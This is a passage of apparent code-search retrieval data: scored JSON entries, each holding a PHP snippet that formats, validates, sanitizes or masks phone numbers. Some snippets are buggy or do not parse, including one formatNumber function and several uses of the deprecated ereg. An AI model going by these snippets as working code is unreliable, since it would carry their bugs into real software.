}, { "docid": "151024741ffdabbdd201fdccdb231f5d", "score": "0.6629999", "text": "function ConvertPhoneNumber($aPhone) {\n\nif (strlen($aPhone)>9) {\n\nfor ($i=0; $i<strlen($aPhone); $i++){ \nif ( ereg(\"[0-9]{1}\",substr($aPhone,$i,1) ) ) {$aAllNumbers .= substr($aPhone,$i,1); }\n} //END for ($i=0; $i<strlen($aPhone); $i++){ \n\n$aOut = substr($aAllNumbers,0,3) . \"-\" . substr($aAllNumbers,3,3) . \"-\" . substr($aAllNumbers,6,4);\nreturn $aOut;\n\n}else{\nreturn \"\";\n\n} //END if (strlen($aPhone)>11) {\n\n}", "title": "" }, { "docid": "fe9c64d67955bffc15933d55ffd0a29f", "score": "0.65969104", "text": "function internationalizePhonenumber($phonenumber, $prefix = '+31') {\n\t$number = str_replace(array(' ', '-'), '', $phonenumber);\n\tif ($number[0] === '0') {\n\t\t// vergelijken met == 0 levert problemen op want (int) '+' = 0 dankzij php\n\t\tif ($number[1] === '0') {\n\t\t\treturn '+' . substr($number, 2);\n\t\t}\n\t\treturn $prefix . substr($number, 1);\n\t} else {\n\t\treturn $phonenumber;\n\t}\n}", "title": "" }, { "docid": "8cbb9a3e46da9d885eadd39391530930", "score": "0.6502866", "text": "public function normalize_phone_number( $number, $args = array() ) {\n\t\t\t$default_args = array(\n\t\t\t\t'nice' => false,\n\t\t\t\t'ext' => '49',\n\t\t\t);\n\t\t\textract( wp_parse_args( $args, $default_args ), EXTR_SKIP );\n\n\t\t\t$number = preg_replace( '/[^0-9+]/', '', $number );\n\n\t\t\tif ( ! empty( $number ) ) {\n\n\t\t\t\tif ( mb_substr( $number, 0, 2 ) == '00' ) {\n\t\t\t\t\t$number = mb_substr( $number, 2 );\n\t\t\t\t} elseif ( mb_substr( $number, 0, 1 ) == '+' ) {\n\t\t\t\t\t$number = mb_substr( $number, 1 );\n\t\t\t\t} elseif ( mb_substr( $number, 0, 1 ) == '0' ) {\n\t\t\t\t\t$number = $ext . mb_substr( $number, 1 );\n\t\t\t\t}\n\n\t\t\t\tif ( $nice === true ) {\n\t\t\t\t\t$number = '+' . mb_substr( $number, 0, 2 ) . ' ' . mb_substr( $number, 2, 3 ) . ' ' . mb_substr( $number, 5, 3 ) . ' ' . mb_substr( $number, 8, 3 ) . ' ' . mb_substr( $number, 11, 3 ) . ' ' . mb_substr( $number, 14 );\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$number = __( 'not set', 'h3-mgmt' );\n\t\t\t}\n\t\t\treturn $number;\n\t\t}", "title": "" }, { "docid": "a94916e8aaa031ce781e3e55136ef798", "score": "0.6456443", "text": "public static function safePhoneNumber()\n {\n return self::numerify(self::pickOne(array(\n '555-###-####', '(555)###-####', '1-555-###-####', '555.###.####', '555-###-####', '(555)###-####',\n '1-555-###-####', '555.###.####', '555-###-#### x###', '(555)###-#### x###', '1-555-###-#### x###',\n '555.###.#### x###', '555-###-#### x####', '(555)###-#### x####', '1-555-###-#### x####',\n '555.###.#### x####', '555-###-#### x#####', '(555)###-#### x#####', '1-555-###-#### x#####',\n '555.###.#### x#####'\n )));\n }", "title": "" }, { "docid": "eb445268d0103dd9170d69d7817dee71", "score": "0.6438749", "text": "function formatNumber($number) {\n $arrayOfNumbers = str_split(\"\", $number);\n $string = \"(\" . $arrayOfNumbers[0]\n . $arrayOfNumbers[1]\n . $arrayOfNumbers[2]\n . $arrayOfNumbers[3]\n . \")\";\n . $arrayOfNumbers[4]\n . $arrayOfNumbers[5]\n . $arrayOfNumbers[6]\n . $arrayOfNumbers[7]\n . $arrayOfNumbers[8]\n . $arrayOfNumbers[9]\n . $arrayOfNumbers[10]);\n\n return $string;\n}", "title": "" }, { "docid": "ba57d109b06c2b0b48f450c834380121", "score": "0.64322996", "text": "function unformatPhone( $phoneNumber ) {\n return preg_replace('/\\D+/', '', $phoneNumber);\n}", "title": "" }, { "docid": "9a572a683a4d9d4fcf38261daf674d7b", "score": "0.6353359", "text": "public function sanitize()\n\n {\n //http://stackoverflow.com/questions/4708248/formatting-phone-numbers-in-php\n return preg_replace('~.*(\\d{3})[^\\d]{0,7}(\\d{3})[^\\d]{0,7}(\\d{4}).*~', '($1) $2-$3', $this->input). \"\\n\";\n \n }", "title": "" }, { "docid": "7377b3b77970ed66a57d7cb00e0b693b", "score": "0.6352586", "text": "public function formatPhone()\n {\n if (!$this->person) {\n return;\n }\n\n return $this->person->formatPhone();\n }", "title": "" }, { "docid": "dc1de9fd7ac129ad96e662b0b611fcd6", "score": "0.63297296", "text": "function storePhoneNo($data) {\n\treturn \"'\" . substr((preg_replace('/[^0-9]/','',$data)), 0, 10) . \"'\";\n}", "title": "" }, { "docid": "2a962276ae53b6f2d5563df53b0cc2bd", "score": "0.6327261", "text": "function shipTo_phoneNumber()\n\t{\n\t\tif (isset($this->params['shipTo_phoneNumber']))\n\t\t{\n\t\t\tif ((strlen($this->params['shipTo_phoneNumber']) > 0) && (strlen($this->params['shipTo_phoneNumber']) <= 25))\n\t\t\t{\n\t\t\t\treturn \"<phoneNumber>\" . $this->params['shipTo_phoneNumber'] . \"</phoneNumber>\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->error_messages[] .= 'Phone number must be up to 25 digits (no letters). Ex. (123)123-1234';\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "b2395d62147a23932848717364915fbb", "score": "0.62783134", "text": "public function organizationNumberPhone(): string;", "title": "" }, { "docid": "8e296b0a80f6e8cd10183d226b7ec3da", "score": "0.6265048", "text": "public function phone($var = '', $ext = '') {\n\t\t$var = preg_replace('/[^\\d]/', '', $var);\n\t\t$ext = preg_replace('/[^\\d]/', '', $ext);\n\t\tif (strlen($var) >= 10) {\n\t\t\t$phone = preg_replace('/(\\d{3})(\\d{3})(\\d{4})/', '($1) $2-$3', $var);\n\t\t} else if (strlen($var) == 7) {\n\t\t\t$phone = preg_replace('/(\\d{3})(\\d{4})/', '$1-$2', $var);\n\t\t} else {\n\t\t\treturn null;\n\t\t}\n\t\tif ($ext) {\n\t\t\t$phone .= ' x'.$ext;\n\t\t}\n\t\treturn $phone;\n\t}", "title": "" }, { "docid": "6fd95fa5b391cecdccfa2c71376e0798", "score": "0.6212848", "text": "function billTo_phoneNumber()\n\t{\n\t\tif (isset($this->params['billTo_phoneNumber']))\n\t\t{\n\t\t\tif ($this->update === true)\n\t\t\t{\n\t\t\t\treturn \"<phoneNumber>\" . $this->params['billTo_phoneNumber'] . \"</phoneNumber>\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif ((strlen($this->params['billTo_phoneNumber']) > 0) && (strlen($this->params['billTo_phoneNumber']) <= 25))\n\t\t\t\t{\n\t\t\t\t\treturn \"<phoneNumber>\" . $this->params['billTo_phoneNumber'] . \"</phoneNumber>\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$this->error_messages[] .= 'Phone number must be up to 25 digits (no letters). Ex. (123)123-1234';\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "2a5ff641770a166b6f46d32de89d50bd", "score": "0.6207925", "text": "function mobileNumberFormat($mobileNumber)\r\n\t{\r\n\t\t$mobileNumber\t=\tpreg_replace(\"/[^0-9]*/s\", \"\", $mobileNumber);\r\n\t\tswitch(strlen($mobileNumber))\r\n\t\t{\r\n\t\t\tcase 10:\r\n\t\t\t\t$rtn_mobile\t=\tsubstr($mobileNumber,0,3).\"-\".substr($mobileNumber,3,3).\"-\".substr($mobileNumber,6,4);\r\n\t\t\t\tbreak;\r\n\t\t\tcase 11:\r\n\t\t\t\t$rtn_mobile\t=\tsubstr($mobileNumber,0,3).\"-\".substr($mobileNumber,3,4).\"-\".substr($mobileNumber,7,4);\r\n\t\t\t\tbreak;\r\n\t\t\tcase 0:\r\n\t\t\t\t$rtn_mobile\t=\t\"\";\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n\t\t\t\t$rtn_mobile\t=\t$mobileNumber;\r\n\t\t}//\tend switch\r\n\r\n\t\treturn $rtn_mobile;\r\n\t}", "title": "" }, { "docid": "aa6f0249de19b92ccbe783b15328c8e1", "score": "0.61303884", "text": "public function formatPhone($string, $separator=\"-\", $parens=null)\n {\n if (empty($string))\n {\n return '';\n }\n\n $phoneNumber = preg_replace('/[^0-9]/', '', $string);\n\n if ($parens === 'parens')\n {\n if (strlen($phoneNumber) > 10)\n {\n $countryCode = substr($phoneNumber, 0, strlen($phoneNumber)-10);\n $areaCode = substr($phoneNumber, -10, 3);\n $nextThree = substr($phoneNumber, -7, 3);\n $lastFour = substr($phoneNumber, -4, 4);\n\n $phoneNumber = $countryCode . ' ' . '(' . $areaCode . ')' . ' ' . $nextThree . $separator . $lastFour;\n }\n\n else if(strlen($phoneNumber) == 10)\n {\n $areaCode = substr($phoneNumber, 0, 3);\n $nextThree = substr($phoneNumber, 3, 3);\n $lastFour = substr($phoneNumber, 6, 4);\n\n $phoneNumber = '(' . $areaCode . ')' . ' ' . $nextThree . $separator . $lastFour;\n }\n else if(strlen($phoneNumber) == 7)\n {\n $nextThree = substr($phoneNumber, 0, 3);\n $lastFour = substr($phoneNumber, 3, 4);\n\n $phoneNumber = $nextThree . $separator . $lastFour;\n }\n }\n else\n {\n if (strlen($phoneNumber) > 10)\n {\n $countryCode = substr($phoneNumber, 0, strlen($phoneNumber)-10);\n $areaCode = substr($phoneNumber, -10, 3);\n $nextThree = substr($phoneNumber, -7, 3);\n $lastFour = substr($phoneNumber, -4, 4);\n\n $phoneNumber = $countryCode . $separator . $areaCode . $separator . $nextThree . $separator . $lastFour;\n }\n else if(strlen($phoneNumber) == 10)\n {\n $areaCode = substr($phoneNumber, 0, 3);\n $nextThree = substr($phoneNumber, 3, 3);\n $lastFour = substr($phoneNumber, 6, 4);\n\n $phoneNumber = $areaCode . $separator . $nextThree . $separator . $lastFour;\n }\n else if(strlen($phoneNumber) == 7)\n {\n $nextThree = substr($phoneNumber, 0, 3);\n $lastFour = substr($phoneNumber, 3, 4);\n\n $phoneNumber = $nextThree . $separator . $lastFour;\n }\n }\n\n return $phoneNumber;\n }", "title": "" }, { "docid": "601fc3c339a54f4a80b5b5d9bac88ae0", "score": "0.6120289", "text": "function formatPhoneNumber($phone, $locale='KE'){\n $phoneUtil = \\libphonenumber\\PhoneNumberUtil::getInstance();\n\n try {\n $phone = $phoneUtil->parse($phone, $locale);\n $phoneNumber = $phoneUtil->format($phone, \\libphonenumber\\PhoneNumberFormat::E164);\n\n return str_replace('+', '', $phoneNumber);\n }\n catch (\\libphonenumber\\NumberParseException $e) {\n return $phone;\n }\n }", "title": "" }, { "docid": "2c2ea40339aa9c9f44a833049c1316b9", "score": "0.61003584", "text": "public static function fixNumber($number, $defaultPrefix = 51, $format = false)\r\n {\r\n //caso for um número internacional a gente nem mexe com ele\r\n if (substr($number, 0, 1) == '+')\r\n {\r\n return $number;\r\n }\r\n\r\n $number = Validator::unmask($number);\r\n $nove = 9;\r\n //lista de prefixos de paises suportados\r\n $prefixosPaises = array(55);\r\n //prefixo que identifica se eh numero de celular\r\n $prefixosCelular = array(8, 9);\r\n $number800 = preg_replace('/\\s/', '', $number);\r\n $number = (int) trim(str_replace(array('(', ')', '-', '#', 'EX'), array('', '', '', '', ''), $number));\r\n\r\n if (strlen($number) < 3)\r\n {\r\n return '';\r\n }\r\n\r\n if (substr($number800, 0, 1) == '0')\r\n {\r\n if ($format && strlen($number800) == 11)\r\n {\r\n $mask = str_ireplace('9', '%s', '9999-999-9999');\r\n $number800 = vsprintf($mask, str_split($number800));\r\n }\r\n\r\n return $number800;\r\n }\r\n\r\n // caso onde o numero possui o prefixo do pais\r\n if (strlen($number) > 11 && in_array(substr($number, 0, 2), $prefixosPaises))\r\n {\r\n $number = (int) substr($number, 2);\r\n }\r\n\r\n // coloca o 9 na frente caso numero ainda nao possua\r\n if (strlen($number) == 8 && in_array(substr($number, 0, 1), $prefixosCelular))\r\n {\r\n $number = $defaultPrefix . $nove . $number;\r\n }\r\n\r\n // caso onde temos o prefixo sem o 9 na frente\r\n if (strlen($number) == 10 && in_array(substr($number, 2, 1), $prefixosCelular))\r\n {\r\n $number = substr($number, 0, 2) . $nove . substr($number, 2);\r\n }\r\n\r\n // caso onde o numero nao possui o prefixo do estado\r\n if (strlen($number) == 9 || strlen($number) == 8)\r\n {\r\n $number = $defaultPrefix . $number;\r\n }\r\n\r\n // formata numero caso necessario\r\n if ($format)\r\n {\r\n // formatacao diferente quando for celular ou fone fixo\r\n $isCelular = ( strlen($number) == 11 );\r\n\r\n if ($isCelular)\r\n {\r\n $number = '(' . substr($number, 0, 2) . ')' . substr($number, 2, 5) . '-' . substr($number, 7, 4);\r\n }\r\n else\r\n {\r\n $number = '(' . substr($number, 0, 2) . ')' . substr($number, 2, 4) . '-' . substr($number, 6, 4);\r\n }\r\n }\r\n\r\n return $number;\r\n }", "title": "" }, { "docid": "1eb9b73f485eb792f8cb864a39f4f25c", "score": "0.6091276", "text": "public static function phoneNumberFormat($phoneNumber){\n $phone = preg_replace('/[\\+\\- ]+/','',$phoneNumber);\n if(!empty($phone)){\n $nig = array('070','071','080','081','090','091');\n if(in_array(substr($phone,0,3),$nig)){\n $phone = substr_replace($phone,'234',0,1);\n }\n if(substr($phone,0,3) == '234' and strlen($phone) != 13){ $phone = null; }\n }\n $errorMsg = 'Valid {var} is required.';\n return (ctype_digit($phone)) ? [true,$phone] : [null,$errorMsg];\n }", "title": "" }, { "docid": "1dfd48678deede08b029f8df80a40136", "score": "0.60737544", "text": "function maskmobilenumber($number) {\n\n\t$masked = substr($number, 0, 2) . str_repeat(\"*\", strlen($number) - 4) . substr($number, -2);\n\treturn $masked;\n}", "title": "" }, { "docid": "9923bc3efe347e1ad214509f293f226a", "score": "0.60708934", "text": "public function cleanPhone($phone){\r\n\t\t$phone = preg_replace(\"/\\D/\",\"\",$phone);\r\n\t\t$phone=trim($phone);\r\n\t\t$is_leading_one=substr($phone,0,1);\r\n\r\n\t\tif ($is_leading_one=='1'){\r\n\t\t\t$phone=substr($phone,1,10);\r\n\t\t}\r\n\r\n\t\treturn $phone;\r\n\t}", "title": "" }, { "docid": "7fbb16a1241fb08a988482b14f343ace", "score": "0.6059911", "text": "private function _formatSensitiveNumbers($number)\n {\n return strlen($number) - 4 > 0 ? str_repeat(\"*\", strlen($number) - 4) . substr($number, -4) : str_repeat(\"*\", strlen($number));\n }", "title": "" }, { "docid": "dd5dbe2e078a25f85e696eee43c85876", "score": "0.60588217", "text": "function prepare_number($input,$dialplan) \n{\n# Returns the same by default\n$output=$input;\n\t\n# Remove spaces\n$output=str_replace(' ','',$output);\n\t\n# Remove dashes\n$output=str_replace('-','',$output);\n\t\n# Remove (0)\n$output=str_replace('(0)','',$output);\n\t\n# Remove ( and )\n$output=str_replace('(','',$output);\n$output=str_replace(')','',$output);\n\t\n# Convert international numbers from own country into national format (replace +<countrycode> by long distance prefix)\n$output=str_replace('+'.$dialplan['country'], $dialplan['long distance'],$output);\n\t\n# Replace '+' sign with international prefix\n$output=str_replace('+',$dialplan['international'],$output);\n\n# Check length of number. If equal or less than $LOCAL_NUMBER_MAX_LENGTH, treat number as local\nif (strlen($output) <= $dialplan['localextlen']) return $output;\n\t\n# Check local number prefixes\nforeach ($dialplan['local'] as $local_prefix) \n\t{\n\tif (empty($local_prefix)) continue;\n\tif (!(strpos($output,$local_prefix) === false)) \n\t\t{\n\t\t# remove prefix and mark number as local\n\t\t$output=str_replace($local_prefix,'',$output);\n\t\treturn $output;\n\t\t}\n\t}\n\n# Add outgoing prefix\n$output=$dialplan['outgoing'].$output;\t\n\n# Return number\t\t\nreturn $output;\n}", "title": "" }, { "docid": "be4e4ab30746bdf127ab81036e7e4940", "score": "0.6031964", "text": "function format($type, $data) {\n\tswitch ($type) {\n\t\tcase 'phone':\n\t\t\t$phone[0] = substr($data, 0, 3);\n\t\t\t$phone[1] = substr($data, 3, 3);\n\t\t\t$phone[2] = substr($data, 6, 4);\n\t\t\treturn implode('-', $phone);\n\t\t\tbreak;\n\t\tcase 'email':\n\t\t\tbreak;\n\t}\n}", "title": "" }, { "docid": "9f56d984cf863b4ba17e3b63d8ecc637", "score": "0.6030719", "text": "function createPhoneNumber($numbersArray) {\n $exact = 10;\n if (count($numbersArray) != $exact) \n return false;\n\n $part = \"(\"; \n for ($i=0; $i < $exact; $i++) {\n if ($i===2) {\n $part .= \"$numbersArray[$i]) \";\n } else if ($i===5) {\n $part .= \"$numbersArray[$i]-\";\n } else {\n $part .= $numbersArray[$i];\n }\n }\n \n return $part;\n}", "title": "" }, { "docid": "3868f87bcc98a07ca14213cc2b2421e0", "score": "0.6013252", "text": "function guarani($input){\n\tif(strlen($input)<=3)\n\t{ return $input; }\n\t$length=substr($input,0,strlen($input)-3);\n\t$formatted_input = guarani($length).'.'.substr($input,-3);\n\treturn $formatted_input;\n\t}", "title": "" }, { "docid": "ddcc3a5d9c0b4d4171c5448187bb927b", "score": "0.59954876", "text": "public static function sanitize_phone($phone) {\n $san_phone = preg_replace(\"/[^0-9]/\",\"\",esc_attr( $phone ));\n return $san_phone;\n }", "title": "" }, { "docid": "e3e9140d338275a08492ff623b880d5d", "score": "0.59924126", "text": "public function formatMobileNumber($mobile_number)\n {\n if ($mobile_number[0] == \"+\") {\n $mobile_number = str_replace($mobile_number[0], \"00\", $mobile_number);\n }\n return $mobile_number;\n }", "title": "" }, { "docid": "3d24034d1c24262037da9c92fc6c6c8a", "score": "0.5989506", "text": "public function setPhoneNumber($value){\n if(!empty($value)){\n if(preg_match('/^0[0-9]{3}[0-9]{6}$/', $value)){\n $this->phoneNumber = $value;\n }else{\n return self::INVALID_FORMAT;\n }\n }\n }", "title": "" }, { "docid": "ae760add845953c96957f3b8de395552", "score": "0.59633", "text": "public function formatMSISDN(string $areaCode, string $localNumber): string;", "title": "" }, { "docid": "623f669498baab5749fd6a445d852246", "score": "0.596127", "text": "function phoneNumber($number, $requireAreaCode = true)\n {\n $servicePrefix = array(\"0800\", \"0900\", \"0508\");\n\n $areaCodes = array(\"024099\", // for the Scott Base in the Ross Dependency\n \"03\", // for the South Island and the Chatham Islands\n \"04\", // for the Wellington Region to Kapiti, but not the Wairarapa and Otaki\n \"06\", // for the he remaining southern and eastern North Island including Taranaki, Manawatu-Wanganui (excluding Taumarunui), Hawke's Bay, Gisborne, the Wairarapa, and Otaki\n \"07\", // for the Waikato, the Bay of Plenty and Taumarunui\n \"09\", // for Auckland and Northland\n );\n\n // Remove non-numeric characters that we still accept\n $number = str_replace(array(\"+\", \" \", \"(\", \")\", \"-\",), \"\", trim($number));\n\n // Sanity check\n if (!ctype_digit($number)) {\n return false;\n }\n\n // http://en.wikipedia.org/wiki/Telephone_numbers_in_New_Zealand#Mobile_Phones\n $mobilePrefix = array(\"orcon\" => \"020\", // Orcon\n \"vodafone\" => \"021\", // Vodafone; 6-8 digits\n \"2degrees\" => \"022\", // 2degrees; 7 digits; 2degrees was launched in August 2009.\n \"telstraClear_unused\" => \"023\", // Unused; Owned by TelstraClear\n \"expansion\" => \"024\", // Unused; Protected by Management Committee 30.01.09 to preserve the potential code expansion option.\n \"telecomNZ_deprecated\" => \"025\", // Was used by Telecom New Zealand until it was shut down on 31 March 2007. All numbers have now migrated to 027 (7-digit) and 0274 (6-digit).\n \"telecomNZ\" => \"027\", // Telecom New Zealand; 7 digits\n \"compass\" => \"0280\", // Compass Communications\n \"callPlus\" => \"028\", // CallPlus or BLACK + WHITE\n \"teletraders\" => \"0283\", // Teletraders MVNO\n \"m2\" => \"02885\", // M2 MVNO\n \"airnet\" => \"02896\", // Airnet NZ Ltd\n \"telstraClear\" => \"029\", // TelstraClear\n );\n\n // Is it a mobile number?\n foreach ($mobilePrefix as $provider => $prefix) {\n // Does it start with a recognised provider prefix?\n if (substr($number, 0, strlen($prefix)) != $prefix) {\n continue;\n }\n // Is it the Scott base / Ross Dependency?\n if (substr($number, 0, 6) == '024099') {\n continue;\n }\n\n switch ($provider) {\n // Vodafone; 6-8 digits\n case 'vodafone':\n if (preg_match('/^021[0-9]{6,8}$/', $number)) {\n return true;\n }\n break;\n // 2degress; 7 digits\n case '2degrees':\n if (preg_match('/^022[0-9]{7}$/', $number)) {\n return true;\n }\n break;\n\n // These providers offer numbers with 02, then 7-9 digits\n case 'orcon':\n case 'compass':\n case 'callPlus':\n case 'teletraders':\n case 'm2':\n case 'airnet':\n case 'telstraClear':\n case 'telecomNZ':\n if (preg_match('/^02[0,7,8,9][0-9]{6,8}$/', $number)) {\n return true;\n }\n break;\n\n // These providers aren't valid as of 1/03/2011\n case 'expansion':\n case 'telstraClear_unused':\n case 'telecomNZ_deprecated':\n break;\n }\n }\n\n // Is it a service number of some type?\n if (in_array(substr($number, 0, 4), $servicePrefix)) {\n // Is 0800,0900 or 0508 number\n if (preg_match(\"(^0(8|9|5)0(0|8)[0-9]{6}$)\", $number)) {\n return true;\n }\n }\n\n // Is 0800 with 7 digits?\n if (substr($number, 0, 4) == '0800') {\n if (preg_match(\"(^0800[0-9]{7}$)\", $number)) {\n return true;\n }\n }\n\n // Is it a general landline of some type?\n foreach ($areaCodes as $prefix) {\n // Does it start with a recognised area prefix?\n if (substr($number, 0, strlen($prefix) != $prefix)) {\n continue;\n }\n\n if (!$requireAreaCode) {\n // Is land line w/o area code\n if (preg_match(\"(^[0-9]{7}$)\", $number)) {\n return true;\n }\n } else {\n // Is land line with area code\n if (preg_match(\"(^0(3|4|6|7|9)[0-9]{7}$)\", $number)) {\n return true;\n }\n }\n }\n\n // Is land line with country code\n if (substr($number, 0, 3) == \"640\") {\n if (preg_match(\"(^640(3|4|6|7|9)[0-9]{7})\", $number)) {\n return true;\n }\n }\n\n return false;\n }", "title": "" }, { "docid": "0b2a96d9aa9d2791364bc9d19c31faa7", "score": "0.5953368", "text": "function validate_phone_number($phone)\n{\n $filtered_phone_number = filter_var($phone, FILTER_SANITIZE_NUMBER_INT);\n // Remove \"-\" from number\n $phone_to_check = str_replace(\"-\", \"\", $filtered_phone_number);\n // Check the lenght of number\n // This can be customized if you want phone number from a specific country\n if (strlen($phone_to_check) < 10 || strlen($phone_to_check) > 14) {\n return false;\n } else {\n return true;\n }\n}", "title": "" }, { "docid": "52f536638063d5a36eb644f80b4c5da5", "score": "0.5949663", "text": "function SearchablePhoneNumber($aPhone) {\n\nfor ($i=0; $i<strlen($aPhone); $i++){ \nif ( ereg(\"[0-9]{1}\",substr($aPhone,$i,1) ) ) {$aAllNumbers .= substr($aPhone,$i,1); }\n} //END for ($i=0; $i<strlen($aPhone); $i++){ \n\n$aOut = \"%\" . substr($aAllNumbers,0,3) . \"%\" . substr($aAllNumbers,3,3) . \"%\" . substr($aAllNumbers,6,4);\nreturn $aOut;\n\n}", "title": "" }, { "docid": "c5ef90f12dd8a4af279cad4e18e2feb2", "score": "0.593017", "text": "protected function formatNumber($number) {\n $format = $this->getSetting('number_format');\n if (empty($format)) {\n return $number;\n }\n $index = 0;\n $format_index = 0;\n $formatted = '';\n $number_length = strlen($number) - 1; // Respect zero index.\n $format_length = strlen($format) - 1; // Respect zero index.\n while ($index <= $number_length) {\n if (isset($format[$format_index])) {\n if ($format[$format_index] === 'X') {\n $formatted .= $number[$index];\n $index++;\n $format_index++;\n }\n else {\n $formatted .= $format[$format_index];\n $format_index++;\n }\n }\n else {\n $formatted .= $number[$index];\n $index++;\n }\n }\n // Append rest letters of format.\n if ($format_index < $format_length) {\n while ($format_index <= $format_length) {\n $formatted .= $format[$format_index];\n $format_index++;\n }\n }\n return $formatted;\n }", "title": "" }, { "docid": "1c90d703150fd377ee1041e14d884b14", "score": "0.5919196", "text": "function format_kode($id,$len=2){\n\t$idlen = strlen($id);\n\t$sisa = $len-$idlen;\n\t$plus = '0';\n\t$fix=''; \n\tif($sisa>0){\n\t\tfor($i=0;$i<$sisa;$i++){\n\t\t\t$fix.=$plus; \n\t\t}\n\t\t$ret=$fix.$id;\n\t}else $ret=$id;\n\treturn $ret;\n}", "title": "" }, { "docid": "a92eee112d00507e18374d2341343363", "score": "0.58828825", "text": "function format_number($p_price){\n\t$p_price .= \"\";\n\t$v_size = strlen($p_price);\n\t$reval_str=\"\";\n\t$count =0;\n\tfor ($i=strlen($p_price)-1;$i>=0;$i--){\n\t\t$reval_str .= substr($p_price,$i,1);\n\t\t$count++;\n\t\tif (($i>0)&&($count%3==0)) $reval_str .= \".\";\n\t}\n\treturn strrev($reval_str);\n}", "title": "" }, { "docid": "5f7a10e676fac59183cce821cb2514d4", "score": "0.58620286", "text": "public static function getPhoneNumber($str)\r\n\t{\r\n\t\t$str = str_replace(\" \", \"\", $str);\r\n\t\t$firt = substr($str, 0,3);\r\n\t\t$second = substr($str, 3, strlen($str)-3);\r\n\t\t$phone = $firt.\" \".$second;\r\n\t\treturn $phone;\r\n\t}", "title": "" }, { "docid": "d53469d2e010bdb8557f3602e9dbae0b", "score": "0.5852289", "text": "function validPhoneNumber($phoneNum){\r\n $isPhoneNum = false;\r\n // only numbers\r\n $onlyNums = preg_replace(\"/[^0-9]/\",'', $phoneNum);\r\n\r\n //eliminate leading 1 if its there\r\n if (strlen($onlyNums) == 11) {\r\n $onlyNums = preg_replace(\"/^1/\",'', $onlyNums);\r\n }\r\n \r\n // if length is now 10 then the number is valid\r\n if(strlen($onlyNums) == 10){\r\n $isPhoneNum = true;\r\n }\r\n return $isPhoneNum;\r\n}", "title": "" }, { "docid": "a93ed773582654c1f2c9b417ed10882d", "score": "0.5848715", "text": "function prettyID($str, $digits = 5) {\n return str_pad($str,$digits,\"0\",STR_PAD_LEFT);\n}", "title": "" }, { "docid": "e4299a52ab79e06eed56e1e4abf95ef5", "score": "0.58432114", "text": "function format($n)\n {\n return strrev(wordwrap(strrev($n), 3, ' ', true));\n }", "title": "" }, { "docid": "0bfe7d77ab96f8f147ab358a7e26c3eb", "score": "0.582868", "text": "public function getPhoneNumber()\n {\n return $this->country_code.$this->phone;\n }", "title": "" }, { "docid": "cf847eb00ed3b741b30b8b55dc4573c4", "score": "0.5810018", "text": "public static function fixNumber($to)\n {\n # here we use Indonesia (+62) as a valid number :)\n \n if( substr($to, 0, 3) === '+62' )\n {\n # this is valid number\n # no further action is required\n }\n elseif( substr($to, 0, 3) == \"628\" )\n {\n $to = '+'.$to;\n }\n elseif( substr($to, 0, 2) == \"08\" )\n {\n $to = '+62'.substr($to, 1);\n }\n else\n {\n $to = false;\n }\n \n if( strlen($to) < 10 )\n {\n $to = false;\n }\n \n return $to;\n }", "title": "" }, { "docid": "befa6ef90040ba5d20aeccaa95b1ceae", "score": "0.58021635", "text": "function fligthNumer1() {\n return $number = 'FR2971';\n}", "title": "" }, { "docid": "c43d1198bcac2309b5853bfaf24fc7cd", "score": "0.5800946", "text": "function formatTime($time) {\n $time = preg_replace(\"/ /\", \"\", $time);\n\n if (mb_strlen($time) === 4) {\n $time = \"0\" . $time;\n return $time;\n }\n\n else {\n return $time;\n }\n}", "title": "" }, { "docid": "513bca0725cc79a3b9c68138d2770ce6", "score": "0.57993203", "text": "public function getPaddedPhone($telephone = null)\n {\n if (strlen($telephone) != 15 && strlen($telephone) < 15) {\n return str_pad($telephone, 15, '0', STR_PAD_LEFT);\n } else {\n return $telephone;\n }\n }", "title": "" }, { "docid": "83c5ea7f54d2e4d3fcd71f54756655a4", "score": "0.57889175", "text": "function normalize_calledNumber($number)\n{\n if (substr($number,0,1) == '+') {\n $number = substr($number,1);\n }\n\n // Return things that look like normal US numbers\n if ((strlen($number) == 11)&&(substr($number,0,1) == '1')) {\n return $number;\n }\n\n // Seems like a US number, but has to ones in front, strip one\n if ((strlen($number) == 12)&&(substr($number,0,2) == '11')) {\n return substr($number,1);\n }\n\n // Strip 9 on international calls\n if ((strlen($number) >=14)&&(substr($number,0,4) == '9011')) {\n return substr($number,1);\n }\n\n // Strip 9 on international calls\n if ((strlen($number) >=14)&&(substr($number,0,4) == '1011')) {\n return substr($number,1);\n }\n\n // Return international calls\n if ((strlen($number) >=13)&&(substr($number,0,3) == '011')) {\n return $number;\n }\n\n // fixup 10 digit to 11\n if ((strlen($number) == 10)&(substr($number,0,1) != '1')) {\n return \"1{$number}\";\n }\n\n // probably a junk number so null it out so we don't index it; \n return null;\n}", "title": "" }, { "docid": "e6e3a77a19212ad6ffddabae22493a95", "score": "0.57358617", "text": "function sanitize_phone($phone) {\n if(strpos($phone, \"Tel: \") !== false) {\n $phone = str_replace(\"Tel: \", \"\", $phone);\n } else {\n $phone = \"\";\n }\n return $phone;\n }", "title": "" }, { "docid": "aac7ba92f71ff87fa5b4edbd96464e77", "score": "0.5733441", "text": "public function attemptToFormatAccruedDigits()\n {\n foreach ($this->possibleFormats as $numberFormat) {\n $m = new Matcher($numberFormat->getPattern(), $this->nationalNumber);\n if ($m->matches()) {\n $nationalPrefixSeparatorsMatcher = new Matcher(self::$nationalPrefixSeparatorsPattern, $numberFormat->getNationalPrefixFormattingRule());\n $this->shouldAddSpaceAfterNationalPrefix = $nationalPrefixSeparatorsMatcher->find();\n $formattedNumber = $m->replaceAll($numberFormat->getFormat());\n // Check that we did not remove nor add any extra digits when we matched\n // this formatting pattern. This usually happens after we entered the last\n // digit during AYTF. Eg: In case of MX, we swallow mobile token (1) when\n // formatted but AYTF should retain all the number entered and not change\n // in order to match a format (of same leading digits and length) display\n // in that way.\n $fullOutput = $this->appendNationalNumber($formattedNumber);\n $formattedNumberDigitsOnly = PhoneNumberUtil::normalizeDiallableCharsOnly($fullOutput);\n\n if ($formattedNumberDigitsOnly === $this->accruedInputWithoutFormatting) {\n // If it's the same (i.e entered number and format is same), then it's\n // safe to return this in formatted number as nothing is lost 